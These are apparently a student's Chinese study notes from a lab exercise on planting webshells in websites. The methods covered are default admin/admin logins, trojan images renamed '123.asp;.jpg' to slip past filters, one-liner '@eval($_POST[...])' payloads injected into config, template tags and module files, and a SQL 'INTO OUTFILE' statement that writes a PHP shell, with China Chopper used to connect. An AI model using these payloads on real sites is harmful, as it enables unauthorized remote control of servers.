网络安全-Day46-通过各方式获取whell

非CMS系统获取whell

1、登陆网站后台（admin/admin），如果验证码没加载出来，开启父路径就可以

数据库备份获取whell

1、通过公司简介，上传带有一句话木马的图片

2、上传的图片能正常访问

3、数据库备份，把带有马的图片备份出啦（123.asp;.jpg防过滤）

4、使用菜刀连接

5、图形化界面

6、虚拟终端模式

修改配置文件获取whell

1、在网站名称处插入一句话密码，并保存

备注：跟在图片中插入一句话木马的原理一样，"%>做为html的闭合作用

修改配置文件后

2、菜刀连接，图形化界面没问题

3、虚拟终端模式

通过标签获取webshell

1、修改标签插入木马

@eval($_POST['chopper']);

2、使用工具连接

通过模块获取webshell

1、如果没有安装“模块管理器”的话，先安装

2、点击编辑，把一句话木马添加到wap.php文件中

3、或者是上传一个php文件

4、使用工具连接（图形化界面）

5、使用工具连接（虚拟终端）

通过数据库获取webshell

1、登陆数据库

2、构造语句（select '<?php @eval($_POST[pass]);?>' INTO OUTFILE 'C:\\php\\htdocs\\best111111.php';）

3、到虚拟机中查看文件

4、工具连接